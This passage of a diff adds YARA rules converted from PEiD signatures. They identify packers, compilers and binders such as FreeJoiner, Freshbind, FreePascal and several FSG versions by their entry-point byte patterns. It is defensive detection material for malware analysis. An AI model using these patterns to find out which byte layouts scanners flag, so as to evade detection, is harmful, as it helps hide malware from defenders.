+        $a = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00752_FreeJoiner_Small__build_033_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 033) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {50 66 33 C3 66 8B C1 58 E8 AC FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00753_FreeJoiner_Small__build_035_____GlOFF_
+{
+    meta:
+        description = "[FreeJoiner Small (build 035) -> GlOFF]"
+        ep_only = "true"
+    strings:
+        $a = {51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00754_FreePascal_1_0_4_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00755_FreePascal_1_0_4_Win32_DLL_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_00757_FreePascal_2_0_0_Win32_____B_rczi_G_bor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+    condition:
+        $a
+}
+rule PEiD_00758_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_00759_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_00760_Freshbind_v2_0____gFresh_
+{
+    meta:
+        description = "[Freshbind v2.0 -> gFresh]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_00761_from_NORMAN_Anti_Virus_Utilites_
+{
+    meta:
+        description = "[from NORMAN Anti-Virus Utilites]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+    condition:
+        $a
+}
+
+rule PEiD_00762_Frusion____biff_
+{
+    meta:
+        description = "[Frusion -> biff]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+    condition:
+        $a
+}
+
+rule PEiD_00763_FSG_1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.00 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+    condition:
+        $a
+}
+rule PEiD_00764_FSG_1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00765_FSG_1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00766_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+    condition:
+        $a
+}
+rule PEiD_00767_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+    condition:
+        $a
+}
+
+rule PEiD_00768_FSG_1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+    condition:
+        $a
+}
+
+rule PEiD_00769_FSG_1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+    condition:
+        $a
+}
+
+rule PEiD_00770_FSG_1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+    condition:
+        $a
+}
+
+rule PEiD_00771_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+    condition:
+        $a
+}
+rule PEiD_00772_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_00773_FSG_1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+    condition:
+        $a
+}
+
+rule PEiD_00774_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00775_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+    condition:
+        $a
+}
+
+rule PEiD_00776_FSG_1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00777_FSG_1_31____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+    condition:
+        $a
+}
+
+rule PEiD_00778_FSG_1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+    condition:
+        $a
+}
+
+rule PEiD_00779_FSG_1_3_
+{
+    meta:
+        description = "[FSG 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00780_FSG_v1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.00 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00781_FSG_v1_0_
+{
+    meta:
+        description = "[FSG v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a
+}
+
+rule PEiD_00782_FSG_v1_10__Eng_____bart_xt_____Watcom_C_C___EXE__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00783_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00784_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00785_FSG_v1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00786_FSG_v1_10__Eng_____dulek_xt_____Borland_C___1999__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00787_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+    condition:
+        $a
+}
+
+rule PEiD_00788_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00789_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00790_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+    condition:
+        $a
+}
+
+rule PEiD_00791_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00792_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C_____ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00793_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+    condition:
+        $a
+}
+
+rule PEiD_00794_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+    condition:
+        $a
+}
+
+rule PEiD_00795_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C___x_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+    condition:
+        $a
+}
+
